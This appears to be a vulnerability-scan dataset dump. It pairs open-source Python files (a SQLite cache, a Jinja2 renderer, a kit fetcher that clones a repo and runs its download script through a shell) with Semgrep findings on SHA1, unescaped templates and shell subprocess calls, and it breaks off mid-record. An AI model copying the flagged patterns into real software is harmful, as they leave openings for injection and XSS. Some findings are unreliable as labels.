'-'.join('%s:%s' % (k, v) for k,v in kwargs.items())
)).encode('utf8')
).hexdigest()
return "%s:%s" % (name, hs)
class Cache:
def __init__(self, filename):
filename = os.path.expanduser(filename)
if not os.path.exists(filename):
self.initialize(filename)
self.conn = sqlite3.connect(filename)
def initialize(self, filename):
with sqlite3.connect(filename) as conn:
conn.execute(
"CREATE TABLE cache " +
"(key VARCHAR(256), value TEXT, deadline FLOAT);"
)
conn.commit()
def set(self, key, data, ttl=600):
self.conn.execute(
"DELETE FROM cache WHERE key = ?;",
(key,)
)
self.conn.execute(
"INSERT INTO cache (key, value, deadline) VALUES (?, ?, ?);",
(key, json.dumps(data), time.time() + ttl)
)
self.conn.commit()
return self
def get(self, key, stale = False):
c = self.conn.cursor()
try:
if stale:
c.execute(
"SELECT value FROM cache WHERE key = ?",
(key,)
)
else:
c.execute(
"SELECT value FROM cache WHERE key = ? AND deadline > ?",
(key, time.time())
)
value = c.fetchone()
if not value:
return None
return json.loads(value[0])
finally:
c.close()
def delete(self, key):
self.conn.execute(
"DELETE FROM cache WHERE key = ?;",
(key,)
)
self.conn.commit()
return self
def keys(self):
c = self.conn.cursor()
try:
return [
r[0]
for r in c.execute(
"SELECT key FROM cache WHERE deadline > ?",
(time.time(),)
)
]
finally:
c.close()
def keys_ttl(self):
c = self.conn.cursor()
try:
now = time.time()
return [
{"key": r[0], "ttl": r[1] - now}
for r in c.execute(
"SELECT key, deadline FROM cache WHERE deadline > ?",
(time.time(),)
)
]
finally:
c.close()
def vacuum(self):
self.conn.execute(
"DELETE FROM cache WHERE deadline < ?;", (time.time(), ))
self.conn.commit()
self.conn.execute("VACUUM;")
def clean(self):
self.conn.execute(
"DELETE FROM cache")
self.conn.commit()
self.conn.execute("VACUUM;")
def update_ttl(self, key, ttl):
self.conn.execute(
"UPDATE cache SET deadline = ? WHERE key = ?",
(time.time() + ttl, key))
self.conn.commit()
def a(self, f=None, key=default_hash, ttl=600):
def wrapper(f):
async def wrapped(*args, _stale=False, _ttl=None, **kwargs):
hv = key(f.__name__, args, kwargs)
v = self.get(hv, stale = _stale)
if not v:
v = await f(*args, **kwargs)
if not _ttl:
_ttl = ttl
self.set(hv, v, _ttl)
return v
def delete(*args, **kwargs):
kv = key(f.__name__, args, kwargs)
self.delete(kv)
def update_ttl(*args, _ttl=None, **kwargs):
hv = key(f.__name__, args, kwargs)
self.update_ttl(hv, ttl)
wrapped.delete = delete
wrapped.update_ttl = update_ttl
return wrapped
if f:
return wrapper(f)
return wrapper
def __call__(self, f=None, key=default_hash, ttl=600):
def wrapper(f):
def wrapped(*args, _stale=False, _ttl=None, **kwargs):
hv = key(f.__name__, args, kwargs)
v = self.get(hv, stale = _stale)
if not v:
v = f(*args, **kwargs)
if not _ttl:
_ttl = ttl
self.set(hv, v, _ttl)
return v
def delete(*args, **kwargs):
kv = key(f.__name__, args, kwargs)
self.delete(kv)
wrapped.delete = delete
return wrapped
if f:
return wrapper(f)
return wrapper
def test(cache):
cache.set("test", "my data", 1)
print(cache.keys())
assert cache.get("test") == "my data"
assert 'test' in cache.keys()
print("wait for eviciton..")
time.sleep(2)
assert not 'test' in cache.keys()
assert cache.get("test") == None
assert cache.get("test", stale=True) == "my data"
cache.set("test", "my data", 1)
assert cache.get("test") == "my data"
cache.delete("test")
assert cache.get("test") == None
ncalls = 0
@cache(ttl=1)
def test_function(id):
nonlocal ncalls
ncalls += 1
return {
"name": "my id is %s" % id,
"id": id,
"ncall": ncalls
}
print(ncalls)
assert ncalls == 0
print(test_function(1))
print(test_function(1))
print(test_function(1))
assert ncalls == 1
print(test_function(1))
print(test_function(2))
print(test_function(3))
assert ncalls == 3
print(test_function(1, _stale=True))
time.sleep(2)
print(test_function(1, _stale=True))
assert ncalls == 3
print(test_function(1))
print(test_function(2))
print(test_function(3))
print(test_function(1))
print(test_function(2))
print(test_function(3))
assert ncalls == 6
@cache
def test_function2(id):
nonlocal ncalls
ncalls += 1
print("called")
return "ok %s" % id
test_function2.delete(2)
print(test_function2(2))
print(test_function2(2))
assert ncalls == 7, ncalls
test_function2.delete(2)
print(test_function2(2, _ttl=1))
print(test_function2(2, _ttl=1))
print(test_function2(2, _ttl=1))
assert ncalls == 8, ncalls
time.sleep(2)
print(test_function2(2, _ttl=1))
assert ncalls == 9, ncalls
def main(argv):
cache = Cache(argv[0])
argv = argv[1:]
if argv:
if argv[0] == "keys":
keys = cache.keys_ttl()
print(json.dumps({
"keys": keys,
"count": len(keys)
}, indent=2))
return
if argv[0] == "set":
cache.set(argv[1], argv[2])
return
if argv[0] == "update_ttl":
cache.update_ttl(argv[1], float(argv[2]))
return
if argv[0] == "get":
print(json.dumps(cache.get(argv[1]), indent=2))
return
if argv[0] == "del":
cache.set(argv[1])
return
if argv[0] == "clean":
cache.clean()
return
if argv[0] == "test":
test(cache)
return
if argv[0] == "vacuum":
cache.vacuum()
return
print("Use as library or set command: keys | set <k> <v> | get <k> | del <k>")
if __name__ == '__main__':
main(sys.argv[1:])
| 269 | 27.26 | 82 | 20 | 1,834 | python | [{"finding_id": "semgrep_rules.python.lang.security.insecure-hash-algorithm-sha1_67c1e970b8375635_871fb389", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.insecure-hash-algorithm-sha1", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "remediation": "hashlib.sha256(\n ('%s--%s'% (\n '-'.join(str(x) for x in args),\n '-'.join('%s:%s' % (k, v) for k,v in kwargs.items())\n )).encode('utf8')\n )", "location": {"file_path": "unknown", "line_start": 11, "line_end": 16, "column_start": 10, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": "CWE-327: Use of a Broken or Risky Cryptographic Algorithm", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "title": null}, {"url": "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "title": null}, {"url": "http://2012.sharcs.org/slides/stevens.pdf", "title": null}, {"url": "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.insecure-hash-algorithm-sha1", "path": "/tmp/tmpr7mo7ysm/67c1e970b8375635.py", "start": {"line": 11, "col": 10, "offset": 142}, "end": {"line": 16, "col": 6, "offset": 317}, "extra": {"message": "Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "fix": "hashlib.sha256(\n ('%s--%s'% (\n '-'.join(str(x) for x in args),\n '-'.join('%s:%s' % (k, v) for k,v in kwargs.items())\n )).encode('utf8')\n )", "metadata": {"source-rule-url": "https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/blacklists/calls.py#L59", "cwe": ["CWE-327: Use of a Broken or Risky Cryptographic Algorithm"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "bandit-code": "B303", "asvs": {"control_id": "6.2.2 Insecure Custom Algorithm", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x14-V6-Cryptography.md#v62-algorithms", "section": "V6 Stored Cryptography Verification Requirements", "version": "4"}, "references": ["https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "http://2012.sharcs.org/slides/stevens.pdf", "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html"], "category": "security", "technology": ["python"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_67c1e970b8375635_d3bb19f1", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 31, "column_start": 13, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpr7mo7ysm/67c1e970b8375635.py", "start": {"line": 28, "col": 13, "offset": 680}, "end": {"line": 31, "col": 14, "offset": 813}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_67c1e970b8375635_4443472d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 171, "line_end": 171, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpr7mo7ysm/67c1e970b8375635.py", "start": {"line": 171, "col": 5, "offset": 4985}, "end": {"line": 171, "col": 18, "offset": 4998}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_67c1e970b8375635_f585afad", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 202, "line_end": 202, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpr7mo7ysm/67c1e970b8375635.py", "start": {"line": 202, "col": 5, "offset": 5791}, "end": {"line": 202, "col": 18, "offset": 5804}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_67c1e970b8375635_39816bc6", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 229, "line_end": 229, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpr7mo7ysm/67c1e970b8375635.py", "start": {"line": 229, "col": 5, "offset": 6490}, "end": {"line": 229, "col": 18, "offset": 6503}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
28
] | [
31
] | [
13
] | [
14
] | [
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | cache.py | /google-drive/cache.py | serverboards/serverboards-plugins-oss | Apache-2.0 | |
2024-11-18T20:18:45.805838+00:00 | 1,518,811,082,000 | 50eda0c291098b34d013066aaccb8588de6e5810 | 3 | {
"blob_id": "50eda0c291098b34d013066aaccb8588de6e5810",
"branch_name": "refs/heads/master",
"committer_date": 1518811895000,
"content_id": "ac91e9bf01205b61cdbc8df3767a02887e373167",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "44e2d237db1bea6752f7e45c8c41bac93e1fe53d",
"extension": "py",
"filename": "render.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 121662650,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2095,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/j2render/render.py",
"provenance": "stack-edu-0054.json.gz:578318",
"repo_name": "bookwar/python-j2render",
"revision_date": 1518811082000,
"revision_id": "684add093c021462a0b033ca29be26b6ada81c6b",
"snapshot_id": "5e32e3d4d3d7c5ff6eb198bde3c05fb20656ab29",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/bookwar/python-j2render/684add093c021462a0b033ca29be26b6ada81c6b/j2render/render.py",
"visit_date": "2021-04-29T17:12:34.463714"
} | 2.578125 | stackv2 | from param import ParamTree
from jinja2 import Environment, FileSystemLoader
import os
import logging
class RenderError(Exception):
pass
def get_system_params(prefix="J2RENDER_"):
system = {}
env = os.environ
for variable, value in os.environ.items():
if variable.startswith(prefix):
trimmed_variable = variable[len(prefix):]
if trimmed_variable:
system[trimmed_variable] = value
else:
logging.warning("Empty trimmed variable name for {0}={1}".format(variable, value))
return system
class Render():
TMPL_EXT = ['j2']
def __init__(self, resources_path, params_path):
self.resources_path = resources_path
self.params_path = params_path
self.resources = os.listdir(self.resources_path)
self.param_tree = ParamTree(fileroot=self.params_path)
self.system_params = get_system_params()
def render_item(self, target, resource, item, **kwargs):
if resource not in self.resources:
raise RenderError("No resource {0}".format(resource))
templates_path = os.path.join(self.resources_path, resource)
J2Env = Environment(loader=FileSystemLoader(templates_path))
target_params = self.param_tree.get_target_params(
target=target,
)
item_params = self.param_tree.get_item_params(
target=target,
resource=resource,
item=item,
)
item_params.update(self.system_params)
rendered_data = []
for template in J2Env.list_templates(extensions=self.TMPL_EXT):
output_filename = os.path.join(
resource,
os.path.splitext(item)[0],
os.path.splitext(template)[0],
)
output_data = J2Env.get_template(template).render(
target=target_params,
item=item_params,
**kwargs
)
rendered_data.append((output_filename, output_data))
return rendered_data
| 75 | 26.93 | 98 | 17 | 403 | python | [{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_cb2719d8d034a8a7_2781c20e", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 17, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpr7mo7ysm/cb2719d8d034a8a7.py", "start": {"line": 46, "col": 17, "offset": 1194}, "end": {"line": 46, "col": 69, "offset": 1246}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_cb2719d8d034a8a7_fbaba4a8", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "Environment(loader=FileSystemLoader(templates_path), autoescape=True)", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 17, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmpr7mo7ysm/cb2719d8d034a8a7.py", "start": {"line": 46, "col": 17, "offset": 1194}, "end": {"line": 46, "col": 69, "offset": 1246}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "Environment(loader=FileSystemLoader(templates_path), autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-79",
"CWE-116"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2",
"rules.python.jinja2.security.audit.missing-autoescape-disabled"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"MEDIUM",
"MEDIUM"
] | [
46,
46
] | [
46,
46
] | [
17,
17
] | [
69,
69
] | [
"A07:2017 - Cross-Site Scripting (XSS)",
"A03:2021 - Injection"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.",
"Detected a Jinja2 environment witho... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | render.py | /j2render/render.py | bookwar/python-j2render | Apache-2.0 | |
2024-11-18T20:18:46.796784+00:00 | 1,505,486,565,000 | 8628c2d0a08d7fe9f935cfb4a197af92e333cab6 | 2 | {
"blob_id": "8628c2d0a08d7fe9f935cfb4a197af92e333cab6",
"branch_name": "refs/heads/master",
"committer_date": 1505486565000,
"content_id": "f867a51accfca2ceb79786c25d072206e181079d",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "bf287afda71c4360f40ecd78e74049510965db82",
"extension": "py",
"filename": "ramp_kit.py",
"fork_events_count": 0,
"gha_created_at": 1504907523000,
"gha_event_created_at": 1504907523000,
"gha_language": null,
"gha_license_id": null,
"github_id": 102907436,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1628,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/rampwf/kits/ramp_kit.py",
"provenance": "stack-edu-0054.json.gz:578326",
"repo_name": "djgagne/ramp-workflow",
"revision_date": 1505486565000,
"revision_id": "cf1f53e5ef5a2b7d5ca27a21ca30098a17e9fcd7",
"snapshot_id": "26b1bb7188c734c7a46c1c8298504ab522fafda6",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/djgagne/ramp-workflow/cf1f53e5ef5a2b7d5ca27a21ca30098a17e9fcd7/rampwf/kits/ramp_kit.py",
"visit_date": "2021-01-23T21:48:30.554531"
} | 2.390625 | stackv2 | from os.path import join
import os
from subprocess import call
import git
from .base import get_data_home
BASE_RAMP_KIT_URL = 'https://github.com/ramp-kits/'
RAMP_KITS_AVAILABLE = ('california_rainfall_test',
'boston_housing',
'iris',
'titanic',
'epidemium2_cancer_mortality',
'drug_spectra',
'air_passengers',
'el_nino',
'HEP_tracking',
'MNIST',
'mouse_cytometry',
)
def fetch_ramp_kit(name_kit, ramp_kits_home=None):
"""Fetcher of RAMP kit.
Parameters
----------
name_kit : str,
The name of the RAMP kit to be fetched.
Returns
-------
git_repo_dir : str,
The path were the ramp-kit has been cloned.
"""
if name_kit not in RAMP_KITS_AVAILABLE:
raise ValueError("The ramp-kit '{}' requested is not available."
" The available kits are {}.".format(
name_kit, RAMP_KITS_AVAILABLE))
ramp_kits_home = get_data_home(ramp_kits_home=ramp_kits_home)
git_repo_dir = join(ramp_kits_home, name_kit)
git.Repo.clone_from(join(BASE_RAMP_KIT_URL, name_kit),
git_repo_dir)
print("The '{}' ramp-kit has been downloaded in the folder {}.".format(
name_kit, git_repo_dir))
os.chdir(git_repo_dir)
if os.path.isfile('download_data.py'):
call("python download_data.py", shell=True)
return git_repo_dir
| 56 | 28.07 | 75 | 13 | 364 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_f20d210422f896c9_17d802ca", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 54, "line_end": 54, "column_start": 9, "column_end": 13, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmpr7mo7ysm/f20d210422f896c9.py", "start": {"line": 54, "col": 9, "offset": 1559}, "end": {"line": 54, "col": 13, "offset": 1563}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f20d210422f896c9_a8788690", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 54, "line_end": 54, "column_start": 9, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpr7mo7ysm/f20d210422f896c9.py", "start": {"line": 54, "col": 9, "offset": 1559}, "end": {"line": 54, "col": 52, "offset": 1602}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
54
] | [
54
] | [
9
] | [
52
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | ramp_kit.py | /rampwf/kits/ramp_kit.py | djgagne/ramp-workflow | BSD-3-Clause | |
2024-11-18T20:18:47.521822+00:00 | 1,617,594,126,000 | fb384b6ad67644969ef5bff6302df00f64f2049a | 2 | {
"blob_id": "fb384b6ad67644969ef5bff6302df00f64f2049a",
"branch_name": "refs/heads/master",
"committer_date": 1617594126000,
"content_id": "bdf9cc0e44022537b277214f12c93f3686445902",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "e45e411daaafc6f25d2bc890caf6181db38095dc",
"extension": "py",
"filename": "data.py",
"fork_events_count": 5,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 276718851,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 15425,
"license": "Apache-2.0",
"license_type": "permissive",
